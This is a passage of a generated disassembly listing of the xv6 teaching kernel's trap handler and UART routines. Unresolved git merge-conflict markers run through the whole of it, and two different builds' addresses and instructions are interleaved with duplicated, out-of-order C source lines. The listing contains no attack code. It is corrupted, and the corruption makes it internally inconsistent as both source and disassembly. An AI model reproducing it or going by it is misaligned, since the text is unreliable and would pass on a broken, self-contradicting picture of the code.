80105b77: 89 f6 mov %esi,%esi
80105b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105b80 <trap>:
=======
801058f1: b8 ff 07 00 00 mov $0x7ff,%eax
801058f6: 89 e5 mov %esp,%ebp
801058f8: 83 ec 10 sub $0x10,%esp
801058fb: 66 89 45 fa mov %ax,-0x6(%ebp)
pd[1] = (uint)p;
801058ff: b8 20 4e 11 80 mov $0x80114e20,%eax
80105904: 66 89 45 fc mov %ax,-0x4(%ebp)
pd[2] = (uint)p >> 16;
80105908: c1 e8 10 shr $0x10,%eax
8010590b: 66 89 45 fe mov %ax,-0x2(%ebp)
asm volatile("lidt (%0)" : : "r" (pd));
8010590f: 8d 45 fa lea -0x6(%ebp),%eax
80105912: 0f 01 18 lidtl (%eax)
lidt(idt, sizeof(idt));
}
80105915: c9 leave
80105916: c3 ret
80105917: 89 f6 mov %esi,%esi
80105919: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105920 <trap>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
<<<<<<< HEAD
80105b80: 55 push %ebp
80105b81: 89 e5 mov %esp,%ebp
80105b83: 57 push %edi
80105b84: 56 push %esi
80105b85: 53 push %ebx
80105b86: 83 ec 0c sub $0xc,%esp
80105b89: 8b 5d 08 mov 0x8(%ebp),%ebx
if(tf->trapno == T_SYSCALL){
80105b8c: 8b 43 30 mov 0x30(%ebx),%eax
80105b8f: 83 f8 40 cmp $0x40,%eax
80105b92: 0f 84 f8 00 00 00 je 80105c90 <trap+0x110>
=======
80105920: 55 push %ebp
80105921: 89 e5 mov %esp,%ebp
80105923: 57 push %edi
80105924: 56 push %esi
80105925: 53 push %ebx
80105926: 83 ec 2c sub $0x2c,%esp
80105929: 8b 5d 08 mov 0x8(%ebp),%ebx
if(tf->trapno == T_SYSCALL){
8010592c: 8b 43 30 mov 0x30(%ebx),%eax
8010592f: 83 f8 40 cmp $0x40,%eax
80105932: 0f 84 00 01 00 00 je 80105a38 <trap+0x118>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(proc->killed)
exit();
return;
}
switch(tf->trapno){
<<<<<<< HEAD
80105b98: 83 e8 20 sub $0x20,%eax
80105b9b: 83 f8 1f cmp $0x1f,%eax
80105b9e: 77 68 ja 80105c08 <trap+0x88>
80105ba0: ff 24 85 b0 7b 10 80 jmp *-0x7fef8450(,%eax,4)
80105ba7: 89 f6 mov %esi,%esi
80105ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
80105bb0: e8 1b cb ff ff call 801026d0 <cpunum>
80105bb5: 85 c0 test %eax,%eax
80105bb7: 0f 84 b3 01 00 00 je 80105d70 <trap+0x1f0>
kbdintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_COM1:
uartintr();
lapiceoi();
80105bbd: e8 ae cb ff ff call 80102770 <lapiceoi>
=======
80105938: 83 e8 20 sub $0x20,%eax
8010593b: 83 f8 1f cmp $0x1f,%eax
8010593e: 77 60 ja 801059a0 <trap+0x80>
80105940: ff 24 85 50 79 10 80 jmp *-0x7fef86b0(,%eax,4)
80105947: 90 nop
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
80105948: e8 03 ce ff ff call 80102750 <cpunum>
8010594d: 85 c0 test %eax,%eax
8010594f: 90 nop
80105950: 0f 84 d2 01 00 00 je 80105b28 <trap+0x208>
acquire(&tickslock);
ticks++;
wakeup(&ticks);
release(&tickslock);
}
lapiceoi();
80105956: e8 95 ce ff ff call 801027f0 <lapiceoi>
8010595b: 65 a1 04 00 00 00 mov %gs:0x4,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
<<<<<<< HEAD
80105bc2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105bc8: 85 c0 test %eax,%eax
80105bca: 74 2d je 80105bf9 <trap+0x79>
80105bcc: 8b 50 24 mov 0x24(%eax),%edx
80105bcf: 85 d2 test %edx,%edx
80105bd1: 0f 85 86 00 00 00 jne 80105c5d <trap+0xdd>
=======
80105961: 85 c0 test %eax,%eax
80105963: 74 2d je 80105992 <trap+0x72>
80105965: 8b 50 24 mov 0x24(%eax),%edx
80105968: 85 d2 test %edx,%edx
8010596a: 0f 85 9c 00 00 00 jne 80105a0c <trap+0xec>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
<<<<<<< HEAD
80105bd7: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105bdb: 0f 84 ef 00 00 00 je 80105cd0 <trap+0x150>
=======
80105970: 83 78 0c 04 cmpl $0x4,0xc(%eax)
80105974: 0f 84 86 01 00 00 je 80105b00 <trap+0x1e0>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
yield();
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
<<<<<<< HEAD
80105be1: 8b 40 24 mov 0x24(%eax),%eax
80105be4: 85 c0 test %eax,%eax
80105be6: 74 11 je 80105bf9 <trap+0x79>
80105be8: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105bec: 83 e0 03 and $0x3,%eax
80105bef: 66 83 f8 03 cmp $0x3,%ax
80105bf3: 0f 84 c1 00 00 00 je 80105cba <trap+0x13a>
exit();
}
80105bf9: 8d 65 f4 lea -0xc(%ebp),%esp
80105bfc: 5b pop %ebx
80105bfd: 5e pop %esi
80105bfe: 5f pop %edi
80105bff: 5d pop %ebp
80105c00: c3 ret
80105c01: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
8010597a: 8b 40 24 mov 0x24(%eax),%eax
8010597d: 85 c0 test %eax,%eax
8010597f: 74 11 je 80105992 <trap+0x72>
80105981: 0f b7 43 3c movzwl 0x3c(%ebx),%eax
80105985: 83 e0 03 and $0x3,%eax
80105988: 66 83 f8 03 cmp $0x3,%ax
8010598c: 0f 84 d0 00 00 00 je 80105a62 <trap+0x142>
exit();
}
80105992: 83 c4 2c add $0x2c,%esp
80105995: 5b pop %ebx
80105996: 5e pop %esi
80105997: 5f pop %edi
80105998: 5d pop %ebp
80105999: c3 ret
8010599a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
lapiceoi();
break;
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
<<<<<<< HEAD
80105c08: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
80105c0f: 85 c9 test %ecx,%ecx
80105c11: 0f 84 8d 01 00 00 je 80105da4 <trap+0x224>
80105c17: f6 43 3c 03 testb $0x3,0x3c(%ebx)
80105c1b: 0f 84 83 01 00 00 je 80105da4 <trap+0x224>
=======
801059a0: 65 8b 0d 04 00 00 00 mov %gs:0x4,%ecx
801059a7: 85 c9 test %ecx,%ecx
801059a9: 0f 84 a9 01 00 00 je 80105b58 <trap+0x238>
801059af: f6 43 3c 03 testb $0x3,0x3c(%ebx)
801059b3: 0f 84 9f 01 00 00 je 80105b58 <trap+0x238>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline uint
rcr2(void)
{
uint val;
asm volatile("movl %%cr2,%0" : "=r" (val));
<<<<<<< HEAD
80105c21: 0f 20 d7 mov %cr2,%edi
=======
801059b9: 0f 20 d7 mov %cr2,%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
<<<<<<< HEAD
80105c24: 8b 73 38 mov 0x38(%ebx),%esi
80105c27: e8 a4 ca ff ff call 801026d0 <cpunum>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
80105c2c: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
=======
801059bc: 8b 73 38 mov 0x38(%ebx),%esi
801059bf: e8 8c cd ff ff call 80102750 <cpunum>
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
801059c4: 65 8b 15 04 00 00 00 mov %gs:0x4,%edx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
<<<<<<< HEAD
80105c33: 57 push %edi
80105c34: 56 push %esi
80105c35: 50 push %eax
80105c36: ff 73 34 pushl 0x34(%ebx)
80105c39: ff 73 30 pushl 0x30(%ebx)
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
80105c3c: 8d 42 6c lea 0x6c(%edx),%eax
=======
801059cb: 89 7c 24 1c mov %edi,0x1c(%esp)
801059cf: 89 74 24 18 mov %esi,0x18(%esp)
801059d3: 89 44 24 14 mov %eax,0x14(%esp)
801059d7: 8b 43 34 mov 0x34(%ebx),%eax
801059da: 89 44 24 10 mov %eax,0x10(%esp)
801059de: 8b 43 30 mov 0x30(%ebx),%eax
801059e1: 89 44 24 0c mov %eax,0xc(%esp)
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
801059e5: 8d 42 6c lea 0x6c(%edx),%eax
801059e8: 89 44 24 08 mov %eax,0x8(%esp)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
}
// In user space, assume process misbehaved.
cprintf("pid %d %s: trap %d err %d on cpu %d "
<<<<<<< HEAD
80105c3f: 50 push %eax
80105c40: ff 72 10 pushl 0x10(%edx)
80105c43: 68 6c 7b 10 80 push $0x80107b6c
80105c48: e8 13 aa ff ff call 80100660 <cprintf>
=======
801059ec: 8b 42 10 mov 0x10(%edx),%eax
801059ef: c7 04 24 0c 79 10 80 movl $0x8010790c,(%esp)
801059f6: 89 44 24 04 mov %eax,0x4(%esp)
801059fa: e8 51 ac ff ff call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
"eip 0x%x addr 0x%x--kill proc\n",
proc->pid, proc->name, tf->trapno, tf->err, cpunum(), tf->eip,
rcr2());
proc->killed = 1;
<<<<<<< HEAD
80105c4d: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105c53: 83 c4 20 add $0x20,%esp
80105c56: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
=======
801059ff: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a05: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
// Force process exit if it has been killed and is in user space.
// (If it is still executing in the kernel, let it keep running
// until it gets to the regular system call return.)
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
<<<<<<< HEAD
80105c5d: 0f b7 53 3c movzwl 0x3c(%ebx),%edx
80105c61: 83 e2 03 and $0x3,%edx
80105c64: 66 83 fa 03 cmp $0x3,%dx
80105c68: 0f 85 69 ff ff ff jne 80105bd7 <trap+0x57>
exit();
80105c6e: e8 4d e1 ff ff call 80103dc0 <exit>
80105c73: 65 a1 04 00 00 00 mov %gs:0x4,%eax
=======
80105a0c: 0f b7 53 3c movzwl 0x3c(%ebx),%edx
80105a10: 83 e2 03 and $0x3,%edx
80105a13: 66 83 fa 03 cmp $0x3,%dx
80105a17: 0f 85 53 ff ff ff jne 80105970 <trap+0x50>
exit();
80105a1d: e8 ae e1 ff ff call 80103bd0 <exit>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
<<<<<<< HEAD
80105c79: 85 c0 test %eax,%eax
80105c7b: 0f 85 56 ff ff ff jne 80105bd7 <trap+0x57>
80105c81: e9 73 ff ff ff jmp 80105bf9 <trap+0x79>
80105c86: 8d 76 00 lea 0x0(%esi),%esi
80105c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80105a22: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a28: 85 c0 test %eax,%eax
80105a2a: 0f 85 40 ff ff ff jne 80105970 <trap+0x50>
80105a30: e9 5d ff ff ff jmp 80105992 <trap+0x72>
80105a35: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//PAGEBREAK: 41
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(proc->killed)
<<<<<<< HEAD
80105c90: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105c96: 8b 70 24 mov 0x24(%eax),%esi
80105c99: 85 f6 test %esi,%esi
80105c9b: 0f 85 bf 00 00 00 jne 80105d60 <trap+0x1e0>
exit();
proc->tf = tf;
80105ca1: 89 58 18 mov %ebx,0x18(%eax)
syscall();
80105ca4: e8 97 ee ff ff call 80104b40 <syscall>
if(proc->killed)
80105ca9: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105caf: 8b 58 24 mov 0x24(%eax),%ebx
80105cb2: 85 db test %ebx,%ebx
80105cb4: 0f 84 3f ff ff ff je 80105bf9 <trap+0x79>
=======
80105a38: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a3e: 8b 70 24 mov 0x24(%eax),%esi
80105a41: 85 f6 test %esi,%esi
80105a43: 0f 85 a7 00 00 00 jne 80105af0 <trap+0x1d0>
exit();
proc->tf = tf;
80105a49: 89 58 18 mov %ebx,0x18(%eax)
syscall();
80105a4c: e8 8f ee ff ff call 801048e0 <syscall>
if(proc->killed)
80105a51: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105a57: 8b 58 24 mov 0x24(%eax),%ebx
80105a5a: 85 db test %ebx,%ebx
80105a5c: 0f 84 30 ff ff ff je 80105992 <trap+0x72>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
yield();
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
exit();
}
<<<<<<< HEAD
80105cba: 8d 65 f4 lea -0xc(%ebp),%esp
80105cbd: 5b pop %ebx
80105cbe: 5e pop %esi
80105cbf: 5f pop %edi
80105cc0: 5d pop %ebp
=======
80105a62: 83 c4 2c add $0x2c,%esp
80105a65: 5b pop %ebx
80105a66: 5e pop %esi
80105a67: 5f pop %edi
80105a68: 5d pop %ebp
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(proc->killed)
exit();
proc->tf = tf;
syscall();
if(proc->killed)
exit();
<<<<<<< HEAD
80105cc1: e9 fa e0 ff ff jmp 80103dc0 <exit>
80105cc6: 8d 76 00 lea 0x0(%esi),%esi
80105cc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80105cd0: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
80105cd4: 0f 85 07 ff ff ff jne 80105be1 <trap+0x61>
yield();
80105cda: e8 31 e2 ff ff call 80103f10 <yield>
80105cdf: 65 a1 04 00 00 00 mov %gs:0x4,%eax
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80105ce5: 85 c0 test %eax,%eax
80105ce7: 0f 85 f4 fe ff ff jne 80105be1 <trap+0x61>
80105ced: e9 07 ff ff ff jmp 80105bf9 <trap+0x79>
80105cf2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
80105a69: e9 62 e1 ff ff jmp 80103bd0 <exit>
80105a6e: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
break;
case T_IRQ0 + IRQ_IDE+1:
// Bochs generates spurious IDE1 interrupts.
break;
case T_IRQ0 + IRQ_KBD:
kbdintr();
<<<<<<< HEAD
80105cf8: e8 b3 c8 ff ff call 801025b0 <kbdintr>
lapiceoi();
80105cfd: e8 6e ca ff ff call 80102770 <lapiceoi>
break;
80105d02: e9 bb fe ff ff jmp 80105bc2 <trap+0x42>
80105d07: 89 f6 mov %esi,%esi
80105d09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
case T_IRQ0 + IRQ_COM1:
uartintr();
80105d10: e8 2b 02 00 00 call 80105f40 <uartintr>
80105d15: e9 a3 fe ff ff jmp 80105bbd <trap+0x3d>
80105d1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
=======
80105a70: e8 4b cb ff ff call 801025c0 <kbdintr>
lapiceoi();
80105a75: e8 76 cd ff ff call 801027f0 <lapiceoi>
80105a7a: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
80105a80: e9 dc fe ff ff jmp 80105961 <trap+0x41>
80105a85: 8d 76 00 lea 0x0(%esi),%esi
release(&tickslock);
}
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE:
ideintr();
80105a88: e8 e3 c5 ff ff call 80102070 <ideintr>
lapiceoi();
80105a8d: e8 5e cd ff ff call 801027f0 <lapiceoi>
80105a92: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
80105a98: e9 c4 fe ff ff jmp 80105961 <trap+0x41>
80105a9d: 8d 76 00 lea 0x0(%esi),%esi
case T_IRQ0 + IRQ_KBD:
kbdintr();
lapiceoi();
break;
case T_IRQ0 + IRQ_COM1:
uartintr();
80105aa0: e8 1b 02 00 00 call 80105cc0 <uartintr>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
lapiceoi();
80105aa5: e8 46 cd ff ff call 801027f0 <lapiceoi>
80105aaa: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
80105ab0: e9 ac fe ff ff jmp 80105961 <trap+0x41>
80105ab5: 8d 76 00 lea 0x0(%esi),%esi
case T_IRQ0 + 7:
case T_IRQ0 + IRQ_SPURIOUS:
cprintf("cpu%d: spurious interrupt at %x:%x\n",
<<<<<<< HEAD
80105d20: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
80105d24: 8b 7b 38 mov 0x38(%ebx),%edi
80105d27: e8 a4 c9 ff ff call 801026d0 <cpunum>
80105d2c: 57 push %edi
80105d2d: 56 push %esi
80105d2e: 50 push %eax
80105d2f: 68 14 7b 10 80 push $0x80107b14
80105d34: e8 27 a9 ff ff call 80100660 <cprintf>
cpunum(), tf->cs, tf->eip);
lapiceoi();
80105d39: e8 32 ca ff ff call 80102770 <lapiceoi>
break;
80105d3e: 83 c4 10 add $0x10,%esp
80105d41: e9 7c fe ff ff jmp 80105bc2 <trap+0x42>
80105d46: 8d 76 00 lea 0x0(%esi),%esi
80105d49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
release(&tickslock);
}
lapiceoi();
break;
case T_IRQ0 + IRQ_IDE:
ideintr();
80105d50: e8 cb c2 ff ff call 80102020 <ideintr>
lapiceoi();
80105d55: e8 16 ca ff ff call 80102770 <lapiceoi>
break;
80105d5a: e9 63 fe ff ff jmp 80105bc2 <trap+0x42>
80105d5f: 90 nop
=======
80105ab8: 8b 7b 38 mov 0x38(%ebx),%edi
80105abb: 0f b7 73 3c movzwl 0x3c(%ebx),%esi
80105abf: e8 8c cc ff ff call 80102750 <cpunum>
80105ac4: c7 04 24 b4 78 10 80 movl $0x801078b4,(%esp)
80105acb: 89 7c 24 0c mov %edi,0xc(%esp)
80105acf: 89 74 24 08 mov %esi,0x8(%esp)
80105ad3: 89 44 24 04 mov %eax,0x4(%esp)
80105ad7: e8 74 ab ff ff call 80100650 <cprintf>
cpunum(), tf->cs, tf->eip);
lapiceoi();
80105adc: e8 0f cd ff ff call 801027f0 <lapiceoi>
80105ae1: 65 a1 04 00 00 00 mov %gs:0x4,%eax
break;
80105ae7: e9 75 fe ff ff jmp 80105961 <trap+0x41>
80105aec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
void
trap(struct trapframe *tf)
{
if(tf->trapno == T_SYSCALL){
if(proc->killed)
exit();
<<<<<<< HEAD
80105d60: e8 5b e0 ff ff call 80103dc0 <exit>
80105d65: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105d6b: e9 31 ff ff ff jmp 80105ca1 <trap+0x121>
=======
80105af0: e8 db e0 ff ff call 80103bd0 <exit>
80105af5: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105afb: e9 49 ff ff ff jmp 80105a49 <trap+0x129>
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
exit();
// Force process to give up CPU on clock tick.
// If interrupts were on while locks held, would need to check nlock.
if(proc && proc->state == RUNNING && tf->trapno == T_IRQ0+IRQ_TIMER)
80105b00: 83 7b 30 20 cmpl $0x20,0x30(%ebx)
80105b04: 0f 85 70 fe ff ff jne 8010597a <trap+0x5a>
yield();
80105b0a: e8 f1 e1 ff ff call 80103d00 <yield>
// Check if the process has been killed since we yielded
if(proc && proc->killed && (tf->cs&3) == DPL_USER)
80105b0f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80105b15: 85 c0 test %eax,%eax
80105b17: 0f 85 5d fe ff ff jne 8010597a <trap+0x5a>
80105b1d: e9 70 fe ff ff jmp 80105992 <trap+0x72>
80105b22: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
acquire(&tickslock);
<<<<<<< HEAD
80105d70: 83 ec 0c sub $0xc,%esp
80105d73: 68 e0 4d 11 80 push $0x80114de0
80105d78: e8 93 e7 ff ff call 80104510 <acquire>
ticks++;
wakeup(&ticks);
80105d7d: c7 04 24 20 56 11 80 movl $0x80115620,(%esp)
=======
80105b28: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
80105b2f: e8 4c e8 ff ff call 80104380 <acquire>
ticks++;
wakeup(&ticks);
80105b34: c7 04 24 20 56 11 80 movl $0x80115620,(%esp)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
switch(tf->trapno){
case T_IRQ0 + IRQ_TIMER:
if(cpunum() == 0){
acquire(&tickslock);
ticks++;
<<<<<<< HEAD
80105d84: 83 05 20 56 11 80 01 addl $0x1,0x80115620
wakeup(&ticks);
80105d8b: e8 60 e3 ff ff call 801040f0 <wakeup>
release(&tickslock);
80105d90: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
80105d97: e8 54 e9 ff ff call 801046f0 <release>
80105d9c: 83 c4 10 add $0x10,%esp
80105d9f: e9 19 fe ff ff jmp 80105bbd <trap+0x3d>
80105da4: 0f 20 d7 mov %cr2,%edi
=======
80105b3b: 83 05 20 56 11 80 01 addl $0x1,0x80115620
wakeup(&ticks);
80105b42: e8 99 e3 ff ff call 80103ee0 <wakeup>
release(&tickslock);
80105b47: c7 04 24 e0 4d 11 80 movl $0x80114de0,(%esp)
80105b4e: e8 5d e9 ff ff call 801044b0 <release>
80105b53: e9 fe fd ff ff jmp 80105956 <trap+0x36>
80105b58: 0f 20 d7 mov %cr2,%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//PAGEBREAK: 13
default:
if(proc == 0 || (tf->cs&3) == 0){
// In kernel, it must be our mistake.
cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n",
<<<<<<< HEAD
80105da7: 8b 73 38 mov 0x38(%ebx),%esi
80105daa: e8 21 c9 ff ff call 801026d0 <cpunum>
80105daf: 83 ec 0c sub $0xc,%esp
80105db2: 57 push %edi
80105db3: 56 push %esi
80105db4: 50 push %eax
80105db5: ff 73 30 pushl 0x30(%ebx)
80105db8: 68 38 7b 10 80 push $0x80107b38
80105dbd: e8 9e a8 ff ff call 80100660 <cprintf>
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
80105dc2: 83 c4 14 add $0x14,%esp
80105dc5: 68 0e 7b 10 80 push $0x80107b0e
80105dca: e8 a1 a5 ff ff call 80100370 <panic>
80105dcf: 90 nop
80105dd0 <uartgetc>:
=======
80105b5b: 8b 73 38 mov 0x38(%ebx),%esi
80105b5e: e8 ed cb ff ff call 80102750 <cpunum>
80105b63: 89 7c 24 10 mov %edi,0x10(%esp)
80105b67: 89 74 24 0c mov %esi,0xc(%esp)
80105b6b: 89 44 24 08 mov %eax,0x8(%esp)
80105b6f: 8b 43 30 mov 0x30(%ebx),%eax
80105b72: c7 04 24 d8 78 10 80 movl $0x801078d8,(%esp)
80105b79: 89 44 24 04 mov %eax,0x4(%esp)
80105b7d: e8 ce aa ff ff call 80100650 <cprintf>
tf->trapno, cpunum(), tf->eip, rcr2());
panic("trap");
80105b82: c7 04 24 ae 78 10 80 movl $0x801078ae,(%esp)
80105b89: e8 d2 a7 ff ff call 80100360 <panic>
80105b8e: 66 90 xchg %ax,%ax
80105b90 <uartgetc>:
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static int
uartgetc(void)
{
if(!uart)
<<<<<<< HEAD
80105dd0: a1 c0 a5 10 80 mov 0x8010a5c0,%eax
=======
80105b90: a1 c0 a5 10 80 mov 0x8010a5c0,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
outb(COM1+0, c);
}
static int
uartgetc(void)
{
<<<<<<< HEAD
80105dd5: 55 push %ebp
80105dd6: 89 e5 mov %esp,%ebp
if(!uart)
80105dd8: 85 c0 test %eax,%eax
80105dda: 74 1c je 80105df8 <uartgetc+0x28>
=======
80105b95: 55 push %ebp
80105b96: 89 e5 mov %esp,%ebp
if(!uart)
80105b98: 85 c0 test %eax,%eax
80105b9a: 74 14 je 80105bb0 <uartgetc+0x20>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
<<<<<<< HEAD
80105ddc: ba fd 03 00 00 mov $0x3fd,%edx
80105de1: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105de2: a8 01 test $0x1,%al
80105de4: 74 12 je 80105df8 <uartgetc+0x28>
80105de6: ba f8 03 00 00 mov $0x3f8,%edx
80105deb: ec in (%dx),%al
return -1;
return inb(COM1+0);
80105dec: 0f b6 c0 movzbl %al,%eax
}
80105def: 5d pop %ebp
80105df0: c3 ret
80105df1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
=======
80105b9c: ba fd 03 00 00 mov $0x3fd,%edx
80105ba1: ec in (%dx),%al
return -1;
if(!(inb(COM1+5) & 0x01))
80105ba2: a8 01 test $0x1,%al
80105ba4: 74 0a je 80105bb0 <uartgetc+0x20>
80105ba6: b2 f8 mov $0xf8,%dl
80105ba8: ec in (%dx),%al
return -1;
return inb(COM1+0);
80105ba9: 0f b6 c0 movzbl %al,%eax
}
80105bac: 5d pop %ebp
80105bad: c3 ret
80105bae: 66 90 xchg %ax,%ax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
static int
uartgetc(void)
{
if(!uart)
return -1;
<<<<<<< HEAD
80105df8: b8 ff ff ff ff mov $0xffffffff,%eax
=======
80105bb0: b8 ff ff ff ff mov $0xffffffff,%eax
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(!(inb(COM1+5) & 0x01))
return -1;
return inb(COM1+0);
}
<<<<<<< HEAD
80105dfd: 5d pop %ebp
80105dfe: c3 ret
80105dff: 90 nop
80105e00 <uartputc.part.0>:
for(p="xv6...\n"; *p; p++)
=======
80105bb5: 5d pop %ebp
80105bb6: c3 ret
80105bb7: 89 f6 mov %esi,%esi
80105bb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80105bc0 <uartputc>:
void
uartputc(int c)
{
int i;
if(!uart)
80105bc0: a1 c0 a5 10 80 mov 0x8010a5c0,%eax
80105bc5: 85 c0 test %eax,%eax
80105bc7: 74 3f je 80105c08 <uartputc+0x48>
uartputc(*p);
}
void
uartputc(int c)
{
80105bc9: 55 push %ebp
80105bca: 89 e5 mov %esp,%ebp
80105bcc: 56 push %esi
80105bcd: be fd 03 00 00 mov $0x3fd,%esi
80105bd2: 53 push %ebx
int i;
if(!uart)
80105bd3: bb 80 00 00 00 mov $0x80,%ebx
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
uartputc(*p);
}
void
uartputc(int c)
<<<<<<< HEAD
80105e00: 55 push %ebp
80105e01: 89 e5 mov %esp,%ebp
80105e03: 57 push %edi
80105e04: 56 push %esi
80105e05: 53 push %ebx
80105e06: 89 c7 mov %eax,%edi
